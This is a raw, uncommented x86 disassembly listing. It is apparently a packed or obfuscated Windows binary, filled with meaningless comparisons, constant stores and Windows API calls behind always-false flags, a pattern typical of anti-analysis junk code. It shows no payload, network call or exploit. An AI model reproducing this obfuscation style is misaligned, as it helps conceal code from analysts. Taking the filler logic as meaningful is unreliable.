mov eax, dword [ebp + eax*4 - 0x1e98]
mov dword [ebp - 0x23f0], eax
mov eax, dword [ebp - 0x490]
push 4
pop ecx
shl ecx, 0
sub eax, dword [ebp + ecx - 0xaf0]
jne 0x4a9520
cmp dword [ebp - 0x490], 0
jne 0x4a9520
and dword [ebp - 0x16e0], 0
jmp 0x4a952a
mov dword [ebp - 0x16e0], 1
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x1294], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xaf0]
cmp dword [ebp - 0x16e0], eax
jne 0x4a955b
mov dword [ebp - 0x126c], 1
jmp 0x4a9562
and dword [ebp - 0x126c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1e98]
mov dword [ebp - 0x1a20], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xaf0]
mov ecx, dword [ebp - 0x1a20]
mov dword [ebp + eax*4 - 0x1e98], ecx
mov eax, dword [ebp - 0x126c]
add eax, 4
cmp dword [ebp - 0x1a20], eax
jl 0x4a95ab
mov dword [ebp - 0x1274], 1
jmp 0x4a95b2
and dword [ebp - 0x1274], 0
mov eax, dword [ebp - 0x490]
cmp dword [ebp - 0x1274], eax
je 0x4a95cc
mov dword [ebp - 0x16e8], 1
jmp 0x4a95d3
and dword [ebp - 0x16e8], 0
imul eax, dword [ebp - 0x16e8], 0xf7b1
mov dword [ebp - 0x127c], eax
cmp dword [ebp - 0x127c], 0
jne 0x4a95fe
mov eax, 0x5c0c
test eax, eax
jne 0x4a95fe
and dword [ebp - 0x1910], 0
jmp 0x4a9608
mov dword [ebp - 0x1910], 1
mov eax, dword [ebp - 0x490]
cmp dword [ebp - 0x1910], eax
je 0x4a961f
and dword [ebp - 0x1284], 0
jmp 0x4a9629
mov dword [ebp - 0x1284], 1
mov eax, dword [ebp - 0x1284]
inc eax
mov dword [ebp - 0x1efc], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1efc]
mov dword [ebp + eax - 0x1d34], ecx
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xaf0]
mov dword [ebp - 0x2828], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xaf0], 0xfffffff6
jbe 0x4a9676
mov dword [ebp - 0x16f0], 1
jmp 0x4a967d
and dword [ebp - 0x16f0], 0
mov eax, dword [ebp - 0x16f0]
mov dword [ebp - 0x128c], eax
mov eax, dword [ebp - 0x128c]
mov dword [ebp - 0x23f8], eax
cmp dword [ebp - 0x2008], 0xa9ef
jle 0x4a96ad
mov dword [ebp - 0x1af4], 1
jmp 0x4a96b4
and dword [ebp - 0x1af4], 0
mov eax, dword [ebp - 0x1af4]
mov dword [ebp - 0x490], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1294], 0
je 0x4a96d5
jmp 0x4a946d
jmp 0x4a946d
mov dword [ebp - 0x898], 0
jmp 0x4a96f3
mov eax, dword [ebp - 0x898]
inc eax
mov dword [ebp - 0x898], eax
cmp dword [ebp - 0x898], 2
jge 0x4a970f
mov eax, dword [ebp - 0x898]
mov dword [ebp + eax*4 - 0x834], 0x3df7
jmp 0x4a96e6
mov dword [ebp - 0xad8], 4
mov dword [ebp - 0xad4], 4
mov dword [ebp - 0xad0], 4
mov dword [ebp - 0xacc], 4
mov dword [ebp - 0x12ac], 0x60813c27
mov dword [ebp - 0x12bc], 0xfffffff8
mov dword [ebp - 0x1d44], 0x4a9c
mov dword [ebp - 0x1e0], 0
jmp 0x4a976e
mov eax, dword [ebp - 0x1e0]
inc eax
mov dword [ebp - 0x1e0], eax
cmp dword [ebp - 0x1e0], 2
jge 0x4a978a
mov eax, dword [ebp - 0x1e0]
mov dword [ebp + eax*4 - 0x1ea4], 0x7862
jmp 0x4a9761
mov dword [ebp - 0x1e0], 0
jmp 0x4a97a3
mov eax, dword [ebp - 0x1e0]
inc eax
mov dword [ebp - 0x1e0], eax
cmp dword [ebp - 0x1e0], 1
jge 0x4a97bf
mov eax, dword [ebp - 0x1e0]
mov dword [ebp + eax*4 - 0x1f04], 0x95520530
jmp 0x4a9796
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0xad8], 0
jmp 0x4a97ea
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xad8]
inc eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0xad8], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xad8], 1
jg 0x4a9a3e
mov dword [ebp - 0x498], 0
mov dword [ebp - 0x728], 0
jmp 0x4a9820
mov eax, dword [ebp - 0x728]
inc eax
mov dword [ebp - 0x728], eax
cmp dword [ebp - 0x728], 1
jge 0x4a983c
mov eax, dword [ebp - 0x728]
mov dword [ebp + eax*4 - 0x12c4], 0xfffffffd
jmp 0x4a9813
xor eax, eax
jne 0x4a9983
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xad8]
mov eax, dword [ebp + eax*4 - 0x1ea4]
mov dword [ebp - 0x2780], eax
mov eax, dword [ebp - 0x498]
push 4
pop ecx
shl ecx, 0
sub eax, dword [ebp + ecx - 0xad8]
jne 0x4a9884
cmp dword [ebp - 0x498], 0
jne 0x4a9884
and dword [ebp - 0x16f8], 0
jmp 0x4a988e
mov dword [ebp - 0x16f8], 1
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x12c4], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xad8]
cmp dword [ebp - 0x16f8], eax
jne 0x4a98bf
mov dword [ebp - 0x129c], 1
jmp 0x4a98c6
and dword [ebp - 0x129c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1ea4]
mov dword [ebp - 0x1918], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xad8]
mov ecx, dword [ebp - 0x1918]
mov dword [ebp + eax*4 - 0x1ea4], ecx
mov eax, dword [ebp - 0x129c]
add eax, 4
cmp dword [ebp - 0x1918], eax
jl 0x4a990f
mov dword [ebp - 0x12a4], 1
jmp 0x4a9916
and dword [ebp - 0x12a4], 0
mov eax, dword [ebp - 0x498]
cmp dword [ebp - 0x12a4], eax
je 0x4a9930
mov dword [ebp - 0x1700], 1
jmp 0x4a9937
and dword [ebp - 0x1700], 0
imul eax, dword [ebp - 0x1700], 0xf7b1
mov dword [ebp - 0x12ac], eax
cmp dword [ebp - 0x12ac], 0
jne 0x4a9962
mov eax, 0x5c0c
test eax, eax
jne 0x4a9962
and dword [ebp - 0x1a28], 0
jmp 0x4a996c
mov dword [ebp - 0x1a28], 1
mov eax, dword [ebp - 0x498]
cmp dword [ebp - 0x1a28], eax
je 0x4a9983
and dword [ebp - 0x12b4], 0
jmp 0x4a998d
mov dword [ebp - 0x12b4], 1
mov eax, dword [ebp - 0x12b4]
inc eax
mov dword [ebp - 0x1d3c], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1d3c]
mov dword [ebp + eax - 0x1f04], ecx
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xad8]
mov dword [ebp - 0x2400], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xad8], 0xfffffff6
jbe 0x4a99da
mov dword [ebp - 0x1708], 1
jmp 0x4a99e1
and dword [ebp - 0x1708], 0
mov eax, dword [ebp - 0x1708]
mov dword [ebp - 0x12bc], eax
mov eax, dword [ebp - 0x12bc]
mov dword [ebp - 0x2830], eax
cmp dword [ebp - 0x1d44], 0xa9ef
jle 0x4a9a11
mov dword [ebp - 0x1920], 1
jmp 0x4a9a18
and dword [ebp - 0x1920], 0
mov eax, dword [ebp - 0x1920]
mov dword [ebp - 0x498], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x12c4], 0
je 0x4a9a39
jmp 0x4a97d1
jmp 0x4a97d1
mov dword [ebp - 0x60], 0
jmp 0x4a9a4e
cmp dword [ebp - 0x60], 1
jg 0x4aabeb
mov dword [ebp - 0x2408], 0x5d6c05ba
mov byte [ebp - 0x2d1], 0
movzx eax, byte [ebp - 0x2d1]
test eax, eax
je 0x4a9a82
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
mov byte [ebp - 0x2a3], 0
movzx eax, byte [ebp - 0x2a3]
test eax, eax
je 0x4a9aa8
push 0x244a
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetClassNameW]
mov dword [ebp - 0x9b8], 6
mov dword [ebp - 0x444], 1
mov dword [ebp - 0x740], 0x4ddc8
mov dword [ebp - 0x8a0], 0
jmp 0x4a9adf
mov eax, dword [ebp - 0x8a0]
inc eax
mov dword [ebp - 0x8a0], eax
cmp dword [ebp - 0x8a0], 1
jge 0x4a9afb
mov eax, dword [ebp - 0x8a0]
mov dword [ebp + eax*4 - 0x8b8], 0x3cdf98a5
jmp 0x4a9ad2
mov dword [ebp - 0x444], 0
jmp 0x4a9b14
mov eax, dword [ebp - 0x444]
inc eax
mov dword [ebp - 0x444], eax
cmp dword [ebp - 0x444], 2
jge 0x4a9f1b
mov dword [ebp - 0x1c], 0xefc07e17
mov dword [ebp - 0x738], 0x87a7525d
mov dword [ebp - 0x8b0], 0x9cf13e13
mov dword [ebp - 0x1d4c], 0xfff6
mov dword [ebp - 0x1c], 0
jmp 0x4a9b56
mov eax, dword [ebp - 0x1c]
dec eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jl 0x4a9d92
mov dword [ebp - 0x3fc], 0xfffffff8
mov dword [ebp - 0x3fc], 0
jmp 0x4a9b83
mov eax, dword [ebp - 0x3fc]
dec eax
mov dword [ebp - 0x3fc], eax
cmp dword [ebp - 0x3fc], 0
jl 0x4a9d7f
mov dword [ebp - 0x730], 0
jmp 0x4a9ba9
mov eax, dword [ebp - 0x730]
inc eax
mov dword [ebp - 0x730], eax
cmp dword [ebp - 0x730], 3
jge 0x4a9bc5
mov eax, dword [ebp - 0x730]
mov dword [ebp + eax*4 - 0x2b1c], 0x67656540
jmp 0x4a9b9c
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x8b8], 0
je 0x4a9bd7
jmp 0x4a9d7f
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x8b8]
cmp dword [ebp - 0x1c], eax
jne 0x4a9bf2
mov dword [ebp - 0x12dc], 1
jmp 0x4a9bf9
and dword [ebp - 0x12dc], 0
cmp dword [ebp - 0x1c], 0xbda1
jg 0x4a9c09
push 6
pop eax
test eax, eax
je 0x4a9c1c
push 0xfffffffffffffffe
pop eax
test eax, eax
je 0x4a9c1c
mov dword [ebp - 0x1710], 1
jmp 0x4a9c23
and dword [ebp - 0x1710], 0
cmp dword [ebp - 0x1710], 0x47f59ec1
jge 0x4a9c3b
mov dword [ebp - 0x12cc], 1
jmp 0x4a9c42
and dword [ebp - 0x12cc], 0
cmp dword [ebp - 0x12cc], 0x6255d580
je 0x4a9c5a
mov dword [ebp - 0x1ab0], 1
jmp 0x4a9c61
and dword [ebp - 0x1ab0], 0
cmp dword [ebp - 0x1ab0], 0x6284
je 0x4a9c79
mov dword [ebp - 0x1fa8], 1
jmp 0x4a9c80
and dword [ebp - 0x1fa8], 0
mov eax, dword [ebp - 0x444]
mov dword [ebp - 0x2790], eax
cmp dword [ebp - 0x3fc], 0
je 0x4a9ca1
mov dword [ebp - 0x12d4], 1
jmp 0x4a9ca8
and dword [ebp - 0x12d4], 0
cmp dword [ebp - 0x12d4], 0xffffffff
je 0x4a9cbd
mov dword [ebp - 0x1718], 1
jmp 0x4a9cc4
and dword [ebp - 0x1718], 0
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x8b8]
cmp eax, dword [ebp - 0x1718]
jle 0x4a9ce2
mov dword [ebp - 0x1928], 1
jmp 0x4a9ce9
and dword [ebp - 0x1928], 0
mov eax, dword [ebp - 0x12dc]
mov dword [ebp - 0x738], eax
mov eax, dword [ebp - 0x738]
mov dword [ebp - 0x8b0], eax
mov eax, dword [ebp - 0x8b0]
cmp eax, dword [ebp - 0x1928]
jle 0x4a9d1b
mov dword [ebp - 0x12e4], 1
jmp 0x4a9d22
and dword [ebp - 0x12e4], 0
mov eax, dword [ebp - 0x740]
cmp dword [ebp - 0x12e4], eax
jle 0x4a9d3c
mov dword [ebp - 0x1720], 1
jmp 0x4a9d43
and dword [ebp - 0x1720], 0
mov eax, dword [ebp - 0x3fc]
imul eax, dword [ebp - 0x1720]
cmp eax, 5
je 0x4a9d61
mov dword [ebp - 0x12ec], 1
jmp 0x4a9d68
and dword [ebp - 0x12ec], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x12ec]
mov dword [ebp + eax - 0x2b1c], ecx
jmp 0x4a9b76
cmp dword [ebp - 0x738], 0
je 0x4a9d8d
jmp 0x4a9b4f
jmp 0x4a9b4f
mov dword [ebp - 0x1c], 0
jmp 0x4a9da2
mov eax, dword [ebp - 0x1c]
dec eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jl 0x4a9f16
mov dword [ebp - 0x8a8], 0
jmp 0x4a9dc5
mov eax, dword [ebp - 0x8a8]
inc eax
mov dword [ebp - 0x8a8], eax
cmp dword [ebp - 0x8a8], 3
jge 0x4a9de1
mov eax, dword [ebp - 0x8a8]
mov dword [ebp + eax*4 - 0x27ec], 0xfffffffc
jmp 0x4a9db8
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x27ec], 0xc66883ce
je 0x4a9e00
mov dword [ebp - 0x1a30], 1
jmp 0x4a9e07
and dword [ebp - 0x1a30], 0
cmp dword [ebp - 0x1a30], 0x9919
jg 0x4a9e1f
mov dword [ebp - 0x12f4], 1
jmp 0x4a9e26
and dword [ebp - 0x12f4], 0
cmp dword [ebp - 0x12f4], 0x14a5
je 0x4a9e3e
mov dword [ebp - 0x1728], 1
jmp 0x4a9e45
and dword [ebp - 0x1728], 0
imul eax, dword [ebp - 0x1728], 0x9562
cmp dword [ebp - 0x740], eax
jle 0x4a9e63
mov dword [ebp - 0x12fc], 1
jmp 0x4a9e6a
and dword [ebp - 0x12fc], 0
mov eax, dword [ebp - 0x738]
cmp dword [ebp - 0x12fc], eax
jle 0x4a9e84
mov dword [ebp - 0x1930], 1
jmp 0x4a9e8b
and dword [ebp - 0x1930], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x27ec]
cmp eax, dword [ebp - 0x1930]
jg 0x4a9eac
mov dword [ebp - 0x1304], 1
jmp 0x4a9eb3
and dword [ebp - 0x1304], 0
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x1304]
jle 0x4a9eca
mov dword [ebp - 0x1730], 1
jmp 0x4a9ed1
and dword [ebp - 0x1730], 0
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1730]
sub ecx, dword [ebp - 0x444]
add ecx, 6
imul eax, ecx
mov dword [ebp - 0x8b0], eax
mov eax, dword [ebp - 0x8b0]
sub eax, dword [ebp - 0x1d4c]
je 0x4a9f01
cmp dword [ebp - 0x740], 0
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x740]
mov dword [ebp + eax*4 - 0x8b8], ecx
jmp 0x4a9d9b
jmp 0x4a9b07
mov dword [ebp - 0x404], 0x4a0d
mov dword [ebp - 0x200], 2
mov dword [ebp - 0x1f8], 0xfffc
mov dword [ebp - 0x194], 0
jmp 0x4a9f52
mov eax, dword [ebp - 0x194]
inc eax
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 1
jge 0x4a9f6e
mov eax, dword [ebp - 0x194]
mov dword [ebp + eax*4 - 0x1e8], 0x3dc99cdf
jmp 0x4a9f45
mov dword [ebp - 0x194], 0
jmp 0x4a9f87
mov eax, dword [ebp - 0x194]
inc eax
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 3
jge 0x4a9fa3
mov eax, dword [ebp - 0x194]
mov dword [ebp + eax*4 - 0x20e8], 0x6d9e96b
jmp 0x4a9f7a
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1e8]
mov dword [ebp - 0x2410], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1e8]
neg eax
je 0x4aa029
push 4
pop eax
imul eax, eax, 0
xor ecx, ecx
sub ecx, dword [ebp + eax - 0x1e8]
push 4
pop eax
imul eax, eax, 0
cmp ecx, dword [ebp + eax - 0x1e8]
jge 0x4a9ffe
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1e8], 0
jne 0x4a9ffe
and dword [ebp - 0x130c], 0
jmp 0x4aa008
mov dword [ebp - 0x130c], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1e8]
cmp dword [ebp - 0x130c], eax
jne 0x4aa029
mov dword [ebp - 0x1b34], 1
jmp 0x4aa030
and dword [ebp - 0x1b34], 0
mov eax, dword [ebp - 0x200]
cmp dword [ebp - 0x1b34], eax
je 0x4aa04a
mov dword [ebp - 0x1314], 1
jmp 0x4aa051
and dword [ebp - 0x1314], 0
mov eax, dword [ebp - 0x1f8]
cmp dword [ebp - 0x1314], eax
jg 0x4aa06b
mov dword [ebp - 0x1738], 1
jmp 0x4aa072
and dword [ebp - 0x1738], 0
mov eax, dword [ebp - 0x1f8]
add eax, dword [ebp - 0x1738]
imul eax, dword [ebp - 0x200]
cmp eax, dword [ebp - 0x200]
jl 0x4aa099
mov dword [ebp - 0x9b0], 1
jmp 0x4aa0a0
and dword [ebp - 0x9b0], 0
mov dword [ebp - 0x404], 0xb95
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x9b0]
mov dword [ebp + eax - 0x1e8], ecx
mov eax, dword [ebp - 0x404]
cmp eax, dword [ebp - 0x9b0]
jg 0x4aa0e0
mov eax, 0x299fa9ef
test eax, eax
je 0x4aa0e0
mov dword [ebp - 0x131c], 1
jmp 0x4aa0e7
and dword [ebp - 0x131c], 0
mov eax, dword [ebp - 0x1f8]
imul eax, dword [ebp - 0x131c]
sub eax, dword [ebp - 0x200]
cmp eax, 2
jne 0x4aa10b
mov dword [ebp - 0x1f0c], 1
jmp 0x4aa112
and dword [ebp - 0x1f0c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x20e8]
mov dword [ebp - 0x2838], eax
mov eax, dword [ebp - 0x1f8]
mov dword [ebp - 0x2418], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x20e8], 0x2ff5
jg 0x4aa15f
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1e8], 0
je 0x4aa15f
mov dword [ebp - 0x1938], 1
jmp 0x4aa166
and dword [ebp - 0x1938], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x20e8]
imul eax, dword [ebp - 0x1938]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x20e8]
je 0x4aa1a6
mov byte [ebp - 0x329], 0
movzx eax, byte [ebp - 0x329]
test eax, eax
je 0x4aa1a1
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
jmp 0x4aa30e
mov dword [ebp - 0x1740], 0x4499c77e
mov dword [ebp - 0x748], 0
jmp 0x4aa1c9
mov eax, dword [ebp - 0x748]
inc eax
mov dword [ebp - 0x748], eax
cmp dword [ebp - 0x748], 2
jge 0x4aa1e5
mov eax, dword [ebp - 0x748]
mov dword [ebp + eax*4 - 0x2574], 0x997ec53a
jmp 0x4aa1bc
mov dword [ebp - 0x404], 0
jmp 0x4aa1fe
mov eax, dword [ebp - 0x404]
inc eax
mov dword [ebp - 0x404], eax
cmp dword [ebp - 0x404], 0xd
jle 0x4aa30e
mov dword [ebp - 0x484], 0x4416da84
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1e8], 0x49a5
jge 0x4aa234
mov dword [ebp - 0x1324], 1
jmp 0x4aa23b
and dword [ebp - 0x1324], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1324]
mov dword [ebp + eax - 0x2574], ecx
mov dword [ebp - 0x1f8], 0
jmp 0x4aa267
mov eax, dword [ebp - 0x1f8]
inc eax
mov dword [ebp - 0x1f8], eax
cmp dword [ebp - 0x1f8], 1
jle 0x4aa309
mov eax, dword [ebp - 0x484]
dec eax
mov dword [ebp - 0x484], eax
mov dword [ebp - 0x200], 0xffffffe6
jmp 0x4aa29a
mov eax, dword [ebp - 0x200]
inc eax
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 0x36
jge 0x4aa304
mov dword [ebp - 0x484], 0
jmp 0x4aa2bc
mov eax, dword [ebp - 0x484]
inc eax
mov dword [ebp - 0x484], eax
cmp dword [ebp - 0x484], 0x1b
jle 0x4aa302
mov dword [ebp - 0x8c0], 1
mov dword [ebp - 0x8c0], 0
jmp 0x4aa2e8
mov eax, dword [ebp - 0x8c0]
inc eax
mov dword [ebp - 0x8c0], eax
cmp dword [ebp - 0x8c0], 0x12
jne 0x4aa300
mov eax, dword [ebp - 0x1740]
dec eax
mov dword [ebp - 0x1740], eax
jmp 0x4aa2db
jmp 0x4aa2af
jmp 0x4aa28d
jmp 0x4aa25a
jmp 0x4aa1f1
mov byte [ebp - 0x2a5], 0
movzx eax, byte [ebp - 0x2a5]
test eax, eax
je 0x4aa32d
push 0x22c4
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
mov dword [ebp - 0x1f1c], 0x1fe3d2f5
mov dword [ebp - 0xc0], 0xce125d16
mov dword [ebp - 0xc8], 0x782a1836
mov dword [ebp - 0x40c], 0xfb96f37d
mov dword [ebp - 0x19c], 0
jmp 0x4aa36e
mov eax, dword [ebp - 0x19c]
inc eax
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 1
jge 0x4aa38a
mov eax, dword [ebp - 0x19c]
mov dword [ebp + eax*4 - 0x27a0], 0
jmp 0x4aa361
mov dword [ebp - 0x19c], 0
jmp 0x4aa3a3
mov eax, dword [ebp - 0x19c]
inc eax
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 1
jge 0x4aa3bf
mov eax, dword [ebp - 0x19c]
mov dword [ebp + eax*4 - 0x340], 0xfffffffc
jmp 0x4aa396
mov dword [ebp - 0xc0], 0
jmp 0x4aa3d8
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 0
jg 0x4aa422
mov dword [ebp - 0x2420], 0x439cb61d
mov dword [ebp - 0x2840], 0
mov dword [ebp - 0x2428], 0xfffffffd
mov dword [ebp - 0x27b0], 0x789328a0
mov dword [ebp - 0x132c], 7
mov eax, dword [ebp - 0x132c]
dec eax
mov dword [ebp - 0x132c], eax
jmp 0x4aa3cb
mov dword [ebp - 0xc0], 0
jmp 0x4aa43b
mov eax, dword [ebp - 0xc0]
dec eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 0
jl 0x4aa6be
mov dword [ebp - 0x2048], 0xfffffffa
mov dword [ebp - 0xc8], 0
jmp 0x4aa46b
mov eax, dword [ebp - 0xc8]
dec eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 0
jl 0x4aa6a1
mov dword [ebp - 0x8c8], 0x6cd33356
mov dword [ebp - 0x750], 0
jmp 0x4aa49b
mov eax, dword [ebp - 0x750]
inc eax
mov dword [ebp - 0x750], eax
cmp dword [ebp - 0x750], 1
jge 0x4aa4b7
mov eax, dword [ebp - 0x750]
mov dword [ebp + eax*4 - 0x1d5c], 0x7a75e3aa
jmp 0x4aa48e
mov eax, dword [ebp - 0xc8]
cmp dword [ebp + eax*4 - 0x340], 0
je 0x4aa4cc
jmp 0x4aa6a1
mov dword [ebp - 0x8c8], 0
jmp 0x4aa4e5
cmp dword [ebp - 0x8c8], 0
jg 0x4aa69c
mov eax, dword [ebp - 0xc8]
mov dword [ebp - 0x22f4], eax
mov eax, dword [ebp - 0xc8]
cmp dword [ebp + eax*4 - 0x340], 0
jne 0x4aa560
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp + eax*4 - 0x340]
cmp dword [ebp - 0xc0], eax
jg 0x4aa52f
mov dword [ebp - 0x1a38], 1
jmp 0x4aa536
and dword [ebp - 0x1a38], 0
mov eax, dword [ebp - 0x1a38]
mov dword [ebp - 0x40c], eax
mov eax, dword [ebp - 0x40c]
mov ecx, dword [ebp - 0xc0]
add eax, dword [ebp + ecx*4 - 0x340]
jne 0x4aa560
and dword [ebp - 0x1334], 0
jmp 0x4aa56a
mov dword [ebp - 0x1334], 1
cmp dword [ebp - 0x1334], 1
jbe 0x4aa57f
mov dword [ebp - 0x1d54], 1
jmp 0x4aa586
and dword [ebp - 0x1d54], 0
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp + eax*4 - 0x340]
mov dword [ebp - 0x2848], eax
cmp dword [ebp - 0x2048], 0xd9248e6b
jbe 0x4aa5b1
mov dword [ebp - 0x1748], 1
jmp 0x4aa5b8
and dword [ebp - 0x1748], 0
mov eax, dword [ebp - 0x1748]
add eax, 0x55a
mov ecx, dword [ebp - 0xc8]
cmp eax, dword [ebp + ecx*4 - 0x340]
jle 0x4aa5de
mov dword [ebp - 0x133c], 1
jmp 0x4aa5e5
and dword [ebp - 0x133c], 0
cmp dword [ebp - 0x133c], 0xfa9d
je 0x4aa5fd
mov dword [ebp - 0x1940], 1
jmp 0x4aa604
and dword [ebp - 0x1940], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x340]
cmp dword [ebp - 0x1940], eax
jg 0x4aa625
mov dword [ebp - 0x1344], 1
jmp 0x4aa62c
and dword [ebp - 0x1344], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1344]
mov dword [ebp + eax - 0x1d5c], ecx
mov dword [ebp - 0x40c], 0
jmp 0x4aa658
jmp 0x4aa45e
mov byte [ebp - 0x359], 0
movzx eax, byte [ebp - 0x359]
test eax, eax
je 0x4aa6b9
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
jmp 0x4aa42e
mov dword [ebp - 0x348], 0xb9f9b319
mov dword [ebp - 0x134c], 0xef054a20
mov dword [ebp - 0x758], 0
jmp 0x4aa6eb
mov eax, dword [ebp - 0x758]
inc eax
mov dword [ebp - 0x758], eax
cmp dword [ebp - 0x758], 2
jge 0x4aa707
mov eax, dword [ebp - 0x758]
mov dword [ebp + eax*4 - 0x2580], 0x989b1ab4
jmp 0x4aa6de
mov dword [ebp - 0x348], 0xfffffff0
jmp 0x4aa720
mov eax, dword [ebp - 0x348]
inc eax
mov dword [ebp - 0x348], eax
cmp dword [ebp - 0x348], 0xfffffffa
jl 0x4aa802
mov dword [ebp - 0x1354], 0x6923
mov dword [ebp - 0x1f14], 0x7aced45b
cmp dword [ebp - 0x1354], 0xfffffff8
jle 0x4aa756
mov dword [ebp - 0x1750], 1
jmp 0x4aa75d
and dword [ebp - 0x1750], 0
cmp dword [ebp - 0x348], 0x93dda37b
jne 0x4aa775
mov dword [ebp - 0x1abc], 1
jmp 0x4aa77c
and dword [ebp - 0x1abc], 0
mov eax, dword [ebp - 0x1750]
mov dword [ebp - 0x134c], eax
mov eax, dword [ebp - 0x134c]
mov ecx, dword [ebp - 0x348]
add ecx, dword [ebp - 0x1abc]
imul eax, ecx
imul eax, dword [ebp - 0x348]
test eax, eax
je 0x4aa7bd
cmp dword [ebp - 0x1354], 0
je 0x4aa7bd
mov dword [ebp - 0xa8c], 1
jmp 0x4aa7c4
and dword [ebp - 0xa8c], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xa8c]
mov dword [ebp + eax - 0x2580], ecx
mov eax, dword [ebp - 0xa8c]
mov dword [ebp - 0x1f14], eax
mov byte [ebp - 0x2a9], 0
movzx eax, byte [ebp - 0x2a9]
test eax, eax
je 0x4aa7fd
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
jmp 0x4aa713
mov dword [ebp - 0x8d0], 0
jmp 0x4aa81b
mov eax, dword [ebp - 0x8d0]
inc eax
mov dword [ebp - 0x8d0], eax
cmp dword [ebp - 0x8d0], 4
jge 0x4aa837
mov eax, dword [ebp - 0x8d0]
mov dword [ebp + eax*4 - 0x2c58], 1
jmp 0x4aa80e
mov dword [ebp - 0x390], 0xfffffff9
mov dword [ebp - 0x2438], 0
mov dword [ebp - 0x27c0], 4
mov dword [ebp - 0x8d8], 0
jmp 0x4aa86e
mov eax, dword [ebp - 0x8d8]
inc eax
mov dword [ebp - 0x8d8], eax
cmp dword [ebp - 0x8d8], 1
jge 0x4aa88a
mov eax, dword [ebp - 0x8d8]
mov dword [ebp + eax*4 - 0x2440], 0x5256ee97
jmp 0x4aa861
mov dword [ebp - 0x390], 0xfffffffc
jmp 0x4aa8a3
cmp dword [ebp - 0x390], 0xd
jl 0x4aaa47
mov dword [ebp - 0x2850], 0xf4a8fe24
mov dword [ebp - 0x1fb0], 1
mov dword [ebp - 0x1758], 0xffffffff
mov dword [ebp - 4], 0
jmp 0x4aa8de
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 4
jge 0x4aa8f4
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x29bc], 0xfffffffd
jmp 0x4aa8d7
mov dword [ebp - 4], 0
jmp 0x4aa904
cmp dword [ebp - 4], 3
jge 0x4aa91a
mov eax, dword [ebp - 0x60]
